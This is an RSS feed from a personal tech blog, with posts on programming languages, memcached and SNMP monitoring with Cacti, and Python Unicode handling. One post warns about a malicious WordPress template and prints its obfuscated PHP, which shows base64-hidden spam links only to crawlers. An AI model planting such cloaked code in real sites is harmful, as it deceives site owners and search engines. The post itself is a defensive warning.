<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Netuality &#187; Tools</title>
	<atom:link href="http://www.netuality.ro/category/tools/feed" rel="self" type="application/rss+xml" />
	<link>http://www.netuality.ro</link>
	<description>Taming the big, bad, nasty websites</description>
	<lastBuildDate>Sun, 13 Jun 2010 07:44:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google: sorry, but Lisp/Ruby/Erlang not on the menu</title>
		<link>http://www.netuality.ro/google-sorry-but-lisprubyerlang-not-on-the-menu/tools/20080529</link>
		<comments>http://www.netuality.ro/google-sorry-but-lisprubyerlang-not-on-the-menu/tools/20080529#comments</comments>
		<pubDate>Wed, 28 May 2008 21:35:00 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Erlang]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://www.netuality.ro/google-sorry-but-lisprubyerlang-not-on-the-menu/tools/20080529</guid>
		<description><![CDATA[Yes, language propaganda again. Ain&#8217;t it fun ?
Here comes a nice quote from the latest Steve Yegge post (read it entirely if you have the time, it&#8217;s both fun and educational &#8211; at least for me). So, there:
I made the famously, horribly, career-shatteringly bad mistake of trying to use Ruby at Google, for this project. [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, language propaganda again. Ain&#8217;t it fun ?</p>
<p>Here comes a nice quote from the <a href="http://steve-yegge.blogspot.com/2008/05/dynamic-languages-strike-back.html" target="_blank">latest Steve Yegge post</a> (read it entirely if you have the time, it&#8217;s both fun and educational &#8211; at least for me). So, there:</p>
<p><em>I made the famously, horribly, career-shatteringly bad mistake of trying to use Ruby at Google, for this project. And I became, very quickly, I mean almost overnight, the Most Hated Person At Google. And, uh, and I&#8217;d have arguments with people about it, and they&#8217;d be like Nooooooo, WHAT IF&#8230; And ultimately, you know, ultimately they actually convinced me that they were right, in the sense that there actually <strong><em>were</em> a few things</strong>. There were some taxes that I was imposing on the systems people, where they were gonna have to have some maintenance issues that they wouldn&#8217;t have. [...] But, you know, <strong>Google&#8217;s all about getting stuff done</strong>.</em></p>
<p><em>[...]</em></p>
<p><em><strong>Is it allowed at Google to use Lisp and other languages?</strong></p>
<p>No. No, it&#8217;s not OK. <strong>At Google you can use C++, Java, Python, JavaScript</strong>&#8230; I actually found a legal loophole and used server-side JavaScript for a project.</em></p>
<p>Mmmmm &#8230; key ?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/google-sorry-but-lisprubyerlang-not-on-the-menu/tools/20080529/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Java going down, Python way up, and more &#8230;</title>
		<link>http://www.netuality.ro/java-going-down-python-way-up-and-more/tools/20080524</link>
		<comments>http://www.netuality.ro/java-going-down-python-way-up-and-more/tools/20080524#comments</comments>
		<pubDate>Sat, 24 May 2008 14:36:19 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Ruby]]></category>

		<guid isPermaLink="false">http://www.netuality.ro/java-going-down-python-way-up-and-more/tools/20080524</guid>
		<description><![CDATA[According to O&#8217;Reilly Radar, sales of Java books have declined in the last 4 years by almost 50%. C# is selling more books from year to year and will probably level up with Java in 2008. Javascript is on the rise (due to AJAX, for sure) and PHP is on a surprising decrease path (although [...]]]></description>
			<content:encoded><![CDATA[<p>According to <a href="http://radar.oreilly.com/archives/2008/03/state-of-the-computer-book-mar-23.html">O&#8217;Reilly Radar</a>, sales of Java books have <a href="http://www.theserverside.com/news/thread.tss?thread_id=49341" target="_blank">declined</a> in the last 4 years by almost 50%. C# is selling more books from year to year and will probably level up with Java in 2008. Javascript is on the rise (due to AJAX, for sure) and PHP is on a surprising decrease path (although the job statistics indicate quite the contrary).</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/05/languages.gif" alt="According to O’Reilly Radar, sales of Java books have declined in the last 4 years by almost 50%" /></p>
<p>In 2007, the number of sold Ruby books was larger than the number of Python books. In their article they qualify Ruby as being a &#8220;mid-major programming language&#8221; and Python as &#8220;mid-minor programming language&#8221;. However, after the announcement of <a href="http://code.google.com/appengine/" target="_blank">Google App Engine</a> the number of Python downloads from ActiveState has <strong><a href="http://blogs.activestate.com/activestate/2008/05/number-of-activ.html" target="_blank">tripled</a></strong> in May. This should become visible in the book sales statistics, pretty soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/java-going-down-python-way-up-and-more/tools/20080524/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Nasty Wordpress template scam</title>
		<link>http://www.netuality.ro/nasty-wordpress-template-scam/tools/20071021</link>
		<comments>http://www.netuality.ro/nasty-wordpress-template-scam/tools/20071021#comments</comments>
		<pubDate>Sun, 21 Oct 2007 14:15:31 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[template]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.netuality.ro/nasty-wordpress-template-scam/tools/20071021</guid>
		<description><![CDATA[Moving my blog to the Wordpress platform, I wanted to install a template somewhat nicer than the default. This is how I discovered a potentially very harmful stunt which some blackhats are pulling in free Wordpress templates. What they do is build sort of &#8220;template farms&#8221; where they keep a directory of hundreds or maybe [...]]]></description>
			<content:encoded><![CDATA[<p>Moving my blog to the Wordpress platform, I wanted to install a template somewhat nicer than the default. This is how I discovered a potentially very harmful stunt which some blackhats are pulling in free Wordpress templates. What they do is build sort of &#8220;template farms&#8221; where they keep a directory of hundreds or maybe thousands of templates. As these sites are very well optimized for search engines, they rank pretty high when the unsuspecting victim is looking for some free templates. Sometimes, the victim just downloads a nice-looking template from a seemingly inocuous blog hosted on a free platform (wordpress.com,blogger,etc.).</p>
<p><strong>Do not install</strong> a Wordpress template without performing at least a cursory security audit. Let me remind you that the view layer in Wordpress is just another PHP script with full power to do anything a PHP script can do on your server. This is what the template I&#8217;ve downloaded contained embedded in multiple source files (sidebar, archive, etc.):</p>
<p><font color="#ff6600"><em>if(strstr($_SERVER['HTTP_USER_AGENT'],base64_decode(&#8216;Ym90&#8242;))){echo base64_decode(<br />
&#8216;PGEgaHJlZj1cImh0dHA6Ly93d3cuYmVzdGZyZWVzY3JlZW5zYXZlci5jb21cIiBjbGFzcz1cInNw<br />
YWNpbmctZml4XCI+RnJlZSBDZWxlYnJpdHkgU2NyZWVuc2F2ZXJzPC9hPjxhIGhyZWY9XCJodHRw<br />
Oi8vd3d3LnNrb29ieS5jb21cIiBjbGFzcz1cInNwYWNpbmctZml4XCI+RnJlZSBPbmxpbmUgR2Ft<br />
ZXM8L2E+&#8217;);} </em></font></p>
<p>Basically, this means that any UserAgent containing the word &#8220;bot&#8221; (thus, all the mainstream search engine bots/site crawlers) will see a couple of spammy links on all the pages of the blog. Obviously it could have been much worse, as one can reveal the database access coordinates and other server-related dangerous things when a blackhat bot identified by a specially crafted UserAgent text is scanning the blog. The simplest form of audit one can do is to search for <strong>base64</strong> and <strong>eval</strong> functions in the PHP source code as these are generally used to disguise malware.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/nasty-wordpress-template-scam/tools/20071021/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Programming is hard &#8211; the website</title>
		<link>http://www.netuality.ro/programming-is-hard-the-website/tools/20060802</link>
		<comments>http://www.netuality.ro/programming-is-hard-the-website/tools/20060802#comments</comments>
		<pubDate>Wed, 02 Aug 2006 20:07:31 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/programming-is-hard-the-website/uncategorized/20060802</guid>
		<description><![CDATA[A newcomer in the world of &#8220;code snippets&#8221; sites in programmingishard.com. Although the site is a few months old, only recently it started to gain some steam. Unlike its competition Krugle and Koders, this is not a code search engine but a snippet repository entirely tag-based, user-built. The author has a blog at tentimesbetter.com.
As for [...]]]></description>
			<content:encoded><![CDATA[<p>A newcomer in the world of &#8220;code snippets&#8221; sites in <a href="http://programmingishard.com/" target="_new">programmingishard.com</a>. Although the site is a few months old, only recently it started to gain some steam. Unlike its competition <a href="http://krugle.com/" target="_new">Krugle</a> and <a href="http://www.koders.com/" target="_new">Koders</a>, this is not a code search engine but a snippet repository entirely tag-based, user-built. The author has a blog at <a href="http://tentimesbetter.com/" target="_new">tentimesbetter.com</a>.</p>
<p>As for watering your mouth, this is a Python code fragment that I found on the site, for the classic inline conditional which does not exist &#8220;such as&#8221; in Python:</p>
<pre>n = ['no', 'yes'][thing == 1]</pre>
<p>Obviously it has the big disadvantage of having to compute both values no matter what the condition <em>thing</em> is, but is very short and elegant. Simple but nice code sugar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/programming-is-hard-the-website/tools/20060802/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monitoring memcached with cacti</title>
		<link>http://www.netuality.ro/monitoring-memcached-with-cacti/tools/20060802</link>
		<comments>http://www.netuality.ro/monitoring-memcached-with-cacti/tools/20060802#comments</comments>
		<pubDate>Wed, 02 Aug 2006 19:54:44 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[cacti]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[memcache]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[snmp]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/monitoring-memcached-with-cacti/uncategorized/20060802</guid>
		<description><![CDATA[Memcached is a clusterable cache server from Danga. Or, as they call, it a distributed memory object caching system. Well, whatever. Just note that memcached clients exist for lots of languages (Java, PHP, Python, Ruby, Perl) &#8211; mainstream languages in the web world. A lighter version of server was rewritten in Java by Mr. Jehiah [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.danga.com/memcached/" target="_new">Memcached</a> is a clusterable cache server from <a href="http://www.danga.com/" target="_new">Danga</a>. Or, as they call, it a <strong>distributed memory object caching system</strong>. Well, whatever. Just note that memcached clients exist for lots of languages (Java, PHP, Python, Ruby, Perl) &#8211; mainstream languages in the web world. A lighter version of server was <a href="http://jehiah.com/projects/j-memcached/" target="_new">rewritten in Java</a> by Mr. Jehiah Czebotar. Major websites such as Facebook, Slashdot, Livejournal and Dealnews use memcached in order to scale for the huge load they&#8217;re serving.  Recently, we needed to monitor the memcache servers on a high-performance web cluster serving the <a href="http://www.planigo.com/en/index.html" target="_blank">Planigo</a> websites. By googling and reading the related newsgroups, I was able to find two solutions:</p>
<ul>
<li>from faemalia.net, a script which is integrated with the <a href="http://www.faemalia.net/mysqlUtils/" target="_new">MySQL server templates</a> for Cacti. Uses the Perl client.</li>
<li>from dealnews.com, a dedicated memcached template for Cacti and some scripts based on the Python client. The installation is <a href="http://dealnews.com/developers/cacti/memcached.html" target="_new">thoroughly described here</a>.</li>
</ul>
<p>These two solutions have the same approach &#8211; provide a specialized Cacti template. The charts drawn by these templates are based on data extracted by the execution of memcached client scripts. Maybe very elegant, but could become a pain in the dorsal area. Futzing with Cacti templates was never my favorite pasttime. Just try to import a template exported from a different version of Cacti and you&#8217;ll know what I mean.  In my opinion, there is a simple way, which consists in installing a memcached client on all the memcached servers, then extracting the statistical values using a script. We&#8217;ll use the technique described in <a href="http://www.netuality.ro/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/tools/20060305" target="_blank">one of my previous posts</a>, to expose script results as SNMP OID values. Then, track these values in Cacti via the generic existing mechanism. My approach has the disadvantage of installing a memcached client on all the servers. However, it is very simple to build your own charts and data source templates, as for any generic SNMP data.  All you need now a simple script which will print the memcached statistics, one per line. I will provide one-liners for Python, which will obviously work only on machines having Python and the <a href="ftp://ftp.tummy.com/pub/python-memcached/" target="_new">&#8220;tummy&#8221; client</a> installed. This is the recipe (default location of Python executable on Debian is <em>/usr/bin/python</em> but YMMV):</p>
<p>1. first use this one liner as snmpd exec :</p>
<p><em>/usr/bin/python -c &#8220;import memcache; print (&#8216;%s&#8217;%[memcache.Client(['127.0.0.1:11211'], debug=0).get_stats()[0][1],]).replace(\&#8221;&#8216;\&#8221;,&#8221;).replace(&#8216;,&#8217;,'\n&#8217;).replace(&#8216;[','')<br />
.replace(']&#8216;,&#8221;).replace(&#8216;{&#8216;,&#8221;).replace(&#8216;}&#8217;,&#8221;)&#8221;</em></p>
<p>This will display the name of the memcached statistic along with its value and will allow you to hand pick the OIDs that you want to track. Yes, I know it could be done simpler with <em>translate</em> instead of multiple <em>replace</em>. Left as an exercise for the Python-aware reader.</p>
<p>2. after having a complete list of OIDs use this one-liner:</p>
<p><em>/usr/bin/python -c &#8220;import memcache; print &#8216;##&#8217;.join(memcache.Client(['127.0.0.1:11211'], debug=0).get_stats()[0][1].values()).replace(&#8216;##&#8217;,'\n&#8217;)&#8221;</em></p>
<p>The memcached statistics will be displayed in the same order, but only their values not their names.</p>
<p>And this is the mandatory eye candy:</p>
<p><img src="http://www.jroller.com/resources/a/aspinei/mem1.png" alt="" width="432" height="179" /><br />
<img src="http://www.jroller.com/resources/a/aspinei/mem2.png" alt="" width="426" height="171" /><br />
<img src="http://www.jroller.com/resources/a/aspinei/mem3.png" alt="" width="432" height="178" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/monitoring-memcached-with-cacti/tools/20060802/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Monitoring Windows servers &#8211; with SNMP</title>
		<link>http://www.netuality.ro/monitoring-windows-servers-with-snmp/tools/20060512</link>
		<comments>http://www.netuality.ro/monitoring-windows-servers-with-snmp/tools/20060512#comments</comments>
		<pubDate>Fri, 12 May 2006 15:52:49 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[cacti]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[snmp]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/monitoring-windows-servers-with-snmp/uncategorized/20060512</guid>
		<description><![CDATA[My previous article was focused on Linux monitoring. Often, you&#8217;ll have in your datacenter at least a few Windows machines. SQL Server is one of the best excuses these days to get a Microsoft machine in your server room &#8211; and you know what, it&#8217;s a decent database &#8211; well, at least for medium-sized companies [...]]]></description>
			<content:encoded><![CDATA[<p>My <a target="_new">previous</a> <a href="http://www.netuality.ro/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/articles/20060305" target="_blank">article was focused on Linux monitoring</a>. Often, you&#8217;ll have in your datacenter at least a few Windows machines. SQL Server is one of the best excuses these days to get a Microsoft machine in your server room &#8211; and you know what, it&#8217;s a decent database &#8211; well, at least for medium-sized companies like the one I&#8217;m working for right now.</p>
<p>It is less known, but yes you can have SNMP support out of the box with Windows 2000 and XP, and it doesn&#8217;t need to be the Server flavor [obiously it works the same in 2003 Server]:</p>
<ol type="1">
<li>Invoke the <strong>Control Panel</strong>.</li>
<li>Double click the <strong>Add/Remove Programs</strong> icon.</li>
<li>Select <strong>Add/Remove Windows Components</strong>. The Windows Component Wizard is displayed.</li>
<li>Check the Management and Monitoring Tools box.</li>
<li>Click the <strong>Details</strong> button.</li>
<li>Check the Simple Network Management Protocol box and click <strong>OK</strong>, then <strong>Next</strong>. You may have to reboot the machine.</li>
</ol>
<p style="text-align: center;"><img class="aligncenter" src="http://www.jroller.com/resources/a/aspinei/win_snmp1.png" alt="" width="502" height="201" /></p>
<p>After the server is installed, the SNMP service has to be configured. Here&#8217;s how:</p>
<ol type="1">
<li>Invoke the <strong>Control Panel</strong>.</li>
<li>Double click the <strong>Administrative Tools</strong> icon.</li>
<li>Double click the <strong>Services</strong> icon.</li>
<li>Select <strong>SNMP</strong> Service.</li>
<li>Choose the <strong>Security</strong> tab.</li>
<li>Add whatever community name is used in your network. Chances are in a local internal LAN the default <strong>public</strong> works out of the box.</li>
<li>For a sensitive server, you may want to fiddle a little bit with the IP restriction settings, for instance allowing SNMP communication only with the monitoring machine.</li>
<li>Click <strong>OK</strong> then restart the service.</li>
</ol>
<p>Next step is Cacti integration. Unfortunately, there is no Windows-specific profile for devices in Cacti. Therefore if you have lots of Windows machines, you&#8217;ll have to define your own. Or, take a Generic SNMP-enabled host and use it as a scaffold for each device configuration.</p>
<p>Out of the graphs and datasources already defined in Cacti [I am using 0.8.6c] only two work with Windows SNMP agents: processes and interface traffic values.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.jroller.com/resources/a/aspinei/procs.png" alt="" width="500" height="93" /></p>
<p>It&#8217;s a good start, but if you are serious about monitoring, you need to dig a little bit deeper. Once again, the <a href="http://www.ireasoning.com/mibbrowser.shtml" target="_new">MIB Browser</a> comes to save the day. It&#8217;s very simple, just search on the Windows machine for any <em>.mib</em> files you are able to find, copy on your workstation, load them into the MIB browser and make some recursive walks (<strong>Get subtree</strong> on the root of the MIB).This way, I was able to find some interesting OID for the Windows machine. For instance, .1.3.6.1.2.1.25.3.3.1.2.1 -&gt; .1.3.6.1.2.1.25.3.3.1.2.4 the OID for CPU load on each of the 4 virtual CPUs [it's a dual Xeon with HT].</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.jroller.com/resources/a/aspinei/procs2.png" alt="" width="500" height="244" /></p>
<p>Memory-related OIDs for my configuration are :</p>
<ul>
<li>.1.3.6.1.2.1.25.2.3.1.5.6 &#8211; Total physical memory</li>
<li>.1.3.6.1.2.1.25.2.3.1.6.6 &#8211; Used physical memory</li>
<li>.1.3.6.1.2.1.25.2.3.1.6.6 &#8211; Total virtual memory ["virtual"="swap" in Windows lingo]</li>
<li>.1.3.6.1.2.1.25.2.3.1.6.6 &#8211; Used virtual memory</li>
</ul>
<p>Here&#8217;s a neat memory chart for a windows machine. Notice that the values are in &#8220;blocks&#8221; which in my case is 64kb. The total physical memory is 4GB.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.jroller.com/resources/a/aspinei/memory.png" alt="" width="499" height="231" /></p>
<p>Most hardware manufacturers do offer SNMP agents for their hardware, as well as the corresponding <em>.mib</em> file . In my case, I was able to install an agent to monitor an LSI Megaraid controller. Here is a chart for the number of disk operations/second:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.jroller.com/resources/a/aspinei/raid.png" alt="" width="500" height="180" /></p>
<p>In one of my next articles, we&#8217;ll take a look together at the way you can export &#8220;non-standard&#8221; data over SNMP from Windows, in the same manner we did on Linux, using custom scripts. Till then, have an excellent week.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/monitoring-windows-servers-with-snmp/tools/20060512/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Unicode in Python micro-recipe : from MySQL to webpage via Cheetah</title>
		<link>http://www.netuality.ro/unicode-in-python-micro-recipe-from-mysql-to-webpage-via-cheetah/tools/20060414</link>
		<comments>http://www.netuality.ro/unicode-in-python-micro-recipe-from-mysql-to-webpage-via-cheetah/tools/20060414#comments</comments>
		<pubDate>Fri, 14 Apr 2006 20:42:52 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/unicode-in-python-micro-recipe-from-mysql-to-webpage-via-cheetah/uncategorized/20060414</guid>
		<description><![CDATA[Very easy:

start by adding the default-character-set=utf8 in your MySQL configuration file and restart the database server
apply this recipe from Activestate Python Cookbook (&#8220;guaranteed conversion to unicode or byte string&#8221;)
inside the Cheetah template, use the ReplaceNone filter:


#filter ReplaceNone
${myUnicodeString}
#end filter
in order to prevent escaping non-ASCII characters.

Now. That&#8217;s better.
]]></description>
			<content:encoded><![CDATA[<p>Very easy:</p>
<ul>
<li>start by adding the default-character-set=utf8 in your MySQL configuration file and restart the database server</li>
<li>apply <a href="http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466341" target="_blank">this recipe from Activestate Python Cookbook</a> (&#8220;guaranteed conversion to unicode or byte string&#8221;)</li>
<li>inside the Cheetah template, use the ReplaceNone filter:</li>
</ul>
<p><code><br />
#filter ReplaceNone<br />
${myUnicodeString}<br />
#end filter</code></p>
<p>in order to prevent escaping non-ASCII characters.</p>
<p><img src="http://www.netuality.ro/wp-content/uploads/2008/03/unicode.png" /></p>
<p>Now. That&#8217;s better.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.netuality.ro/unicode-in-python-micro-recipe-from-mysql-to-webpage-via-cheetah/tools/20060414/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monitor everything on your Linux servers &#8211; with SNMP and Cacti</title>
		<link>http://www.netuality.ro/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/tools/20060305</link>
		<comments>http://www.netuality.ro/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/tools/20060305#comments</comments>
		<pubDate>Sun, 05 Mar 2006 14:27:22 +0000</pubDate>
		<dc:creator>Adrian</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[snmp]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.netoo.loco/monitor-everything-on-your-linux-servers-with-snmp-and-cacti/uncategorized/20060305</guid>
		<description><![CDATA[Two free open-source tools are running the show for network and server-activity monitoring. The oldest and quite popular among network and system administrators is Nagios. Nagios does not only do monitoring, but also event traps, escalation and notification. The younger challenger is called Cacti. Unlike Nagios, it&#8217;s written in a scripting language [PHP] so no [...]]]></description>
			<content:encoded><![CDATA[<p align="left">Two free open-source tools are running the show for network and server-activity monitoring. The oldest and quite popular among network and system administrators is <a href="http://www.nagios.org/" target="_new">Nagios</a>. Nagios does not only do monitoring, but also event traps, escalation and notification. The younger challenger is called <a href="http://www.cacti.net/" target="_new">Cacti</a>. Unlike Nagios, it&#8217;s written in a scripting language [PHP] so no compiling is necessary &#8211; it just runs out of the box<a title="sc1" name="sc1" href="#sn1"><sup>1</sup></a>. Cacti&#8217;s problem is that &#8211; at its current version &#8211; is missing lots of real-time features such as monitoring and notification. All these features are scheduled to be integrated in future versions of the product, but as with any open-source roadmap nothing is guaranteed, Anyway, this article is focusing on Cacti integration because it&#8217;s what I am currently using.</p>
<p align="left">Cacti is built upon an open-source graphing tool called <a title="The Multi Router Traffic Grapher" href="http://people.ee.ethz.ch/~oetiker/webtools/mrtg/" target="_new">MRTG</a> and a communication protocol <a title="Simple Network Management Protocol" href="http://www.snmp.com/protocol/" target="_new">SNMP</a>. SNMP is not exactly a developer&#8217;s cup of tea, being more of a network administrator&#8217;s tool<a title="sc2" name="sc2" href="#sn2"><sup>2</sup></a>. However, a monitoring server comes extremely handy in performance measurement and tuning, especially for complex performance behavior which can only be benchmarked long-term : such as large caches impact on a web application, or performance of long-running operations.</p>
<p align="left">But is that specific variable you need to monitor, available with SNMP out of the box ? There is a strong chance it is. SNMP being an extensible protocol, lots of organization have recorded their own <a title="Management information base" href="http://en.wikipedia.org/wiki/Management_information_base" target="_new">MIB</a>s and respective implementations. Basically, a MIB is a group of unique identifiers called <a title="Object identifier" href="http://en.wikipedia.org/wiki/Object_identifier" target="_new">OID</a>s. An OID is a sequence of numbers separated by dots, for instance &#8216;.1.3.6.1.4.1.2021.11&#8242;; each number has a special meaning in a standard object tree &#8211; this example, the meaning of &#8216;.1.3.6.1.4.1.2021.11&#8242; is &#8216;.iso.org.dod.internet.private.enterprises.ucdavis.systemStats&#8217;. Even you can have your own MIB in the &#8216;.iso.org.dod.internet.private.enterprises&#8217; tree, by applying on <a title="Apply for your own MIB" href="http://www.iana.org/cgi-bin/enterprise.pl" target="_new">this</a> page at <a title="Internet Assigned Numbers Authority" href="http://en.wikipedia.org/wiki/Internet_Assigned_Numbers_Authority" target="_new">IANA</a>.</p>
<p align="left">Most probably you don&#8217;t really need your own MIB, no matter how &#8216;exotic&#8217; your monitoring is, because:</p>
<p>a) it&#8217;s already there, in the huge list of existing MIBs and implementations</p>
<p>and</p>
<p>b) you are not bound to the existing official MIBs, in fact you can create your own MIB as long as you replicate it in the snmp configuration on all the servers that you want to monitor.</p>
<p style="text-align: center"><img src="http://www.netuality.ro/wp-content/uploads/2008/01/snmp1.gif" alt="" width="499" height="298" /></p>
<p align="left">To take a look at existing MIBs, free tools are available on the net, IMHO the best one being <a href="http://www.ireasoning.com/mibbrowser.shtml" target="_new">MibBrowser</a>. This multiplatform [Java] MIB browser has a free version which should be more than enough for our basic task. The screen capture shown here depicts a &#8220;Get Subtree&#8221; operation on the &#8216;.1.3.6.1.4.1.2021.11&#8242; MIB; the result is a list of single value MIBs, such for instance &#8216;.1.3.6.1.4.1.2021.11.11.0&#8242; which has the alias &#8217;ssCpuIdle.0&#8242; and value 97 [meaning that the CPU is 97% idle]. You can see the alias by loading the corresponding MIB file [select File/Load MIB then choose 'UCD-SNMP-MIB.txt' from the list of predefined MIBs].</p>
<p align="left">From command line, in order to display existing MIB values, you can use snmpwalk:</p>
<pre>snmpwalk -Os -c [community_name] -v 1 [hostname] .1.3.6.1.4.1.111111.1</pre>
<p><a title="sc3" name="sc3" href="#sn3"><sup>3</sup></a> and the result is:</p>
<pre>.1.3.6.1.4.1.2021.11 OID (.iso.org.dod.internet.private.enterprises.ucdavis.systemStats)
snmpwalk -v 1 -c sncq localhost .1.3.6.1.4.1.2021.11
UCD-SNMP-MIB::ssIndex.0 = INTEGER: 1
UCD-SNMP-MIB::ssErrorName.0 = STRING: systemStats
UCD-SNMP-MIB::ssSwapIn.0 = INTEGER: 0
UCD-SNMP-MIB::ssSwapOut.0 = INTEGER: 0
UCD-SNMP-MIB::ssIOSent.0 = INTEGER: 4
UCD-SNMP-MIB::ssIOReceive.0 = INTEGER: 2
UCD-SNMP-MIB::ssSysInterrupts.0 = INTEGER: 4
UCD-SNMP-MIB::ssSysContext.0 = INTEGER: 1
UCD-SNMP-MIB::ssCpuUser.0 = INTEGER: 2
UCD-SNMP-MIB::ssCpuSystem.0 = INTEGER: 1
UCD-SNMP-MIB::ssCpuIdle.0 = INTEGER: 96
UCD-SNMP-MIB::ssCpuRawUser.0 = Counter32: 17096084
UCD-SNMP-MIB::ssCpuRawNice.0 = Counter32: 24079
UCD-SNMP-MIB::ssCpuRawSystem.0 = Counter32: 6778580
UCD-SNMP-MIB::ssCpuRawIdle.0 = Counter32: 599169454
UCD-SNMP-MIB::ssCpuRawKernel.0 = Counter32: 6778580
UCD-SNMP-MIB::ssIORawSent.0 = Counter32: 998257634
UCD-SNMP-MIB::ssIORawReceived.0 = Counter32: 799700984
UCD-SNMP-MIB::ssRawInterrupts.0 = Counter32: 711143737
UCD-SNMP-MIB::ssRawContexts.0 = Counter32: 1163331309
UCD-SNMP-MIB::ssRawSwapIn.0 = Counter32: 23015
UCD-SNMP-MIB::ssRawSwapOut.0 = Counter32: 13730</pre>
<p>Each of this values has its own significance, like for instance &#8217;ssCpuIdle.0&#8242; which announces that the CPU is 96% idle.<br />
In order to retrieve just a single value of the list, use its alias as a parameter to the snmpget command, for instance</p>
<pre>snmpget -Os -c [community_name] -v 1 [hostname] UCD-SNMP-MIB::ssCpuIdle.0</pre>
<p align="left">Sometimes, you want to monitor something which you do not seem to find in the list of MIBs. Say, for instance, the performance of a MySQL database that your&#8217;re pounding pretty hard with your webapp<a title="sc4" name="sc4" href="#sn4"><sup>4</sup></a>. The easiest way of doing this is to pass through a script &#8211; snmp implementations can take the result of any script and expose it through the protocol, line by line.</p>
<p>Supposing you want to keep track of the values obtained with the following script:</p>
<pre>#!/bin/sh
/usr/bin/mysqladmin -uroot status | /usr/bin/awk '{printf("%f\n%d\n%d\n",$4/
10,$6/1000,$9)}'</pre>
<p align="left">The <em>mysqladmin</em> command and a bit of simple awk magic display the following three values, each on a separate line:</p>
<ul>
<li>number of opened connections / 10</li>
<li>number of queries / 1000</li>
<li>number of slow queries</li>
</ul>
<p align="left">It is interesting to not that, while the first value is instantaneous gauge-like, the following two are incremental, growing and growing as long as new queries and new slow queries are recorded. Will keep this in mind for later, when we will track these values.</p>
